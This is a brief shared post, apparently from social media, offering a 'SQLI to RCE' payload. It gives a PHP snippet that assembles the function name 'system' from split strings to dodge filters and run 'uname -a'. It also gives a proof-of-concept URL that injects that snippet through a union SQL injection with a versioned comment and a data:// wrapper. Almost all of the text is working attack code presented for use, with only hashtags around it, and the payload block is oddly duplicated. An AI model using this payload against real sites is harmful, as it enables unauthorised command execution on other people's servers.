SQLI to RCE
--
Payload
<?php
$a=”sy”;
$b=”stem”;
$c=$a.$b;
$c(“uname -a”);
?>
$a=”sy”;
$b=”stem”;
$c=$a.$b;
$c(“uname -a”);
?>
--
PoC
https://target.com/index.php?id=' /*!50000union*/ select 1,2,3,4,5,6,7,8,’data://text/plain,<?php $a=”sy”;$b=”stem”;$c=$a.$b; $c(“uname -a”);?>’ -- -
> Shared from Niko Tidar Lantang Perkasa
#Payload SQLI To RCE
#SQLI To RCE
#Remote Code Executions (RCE)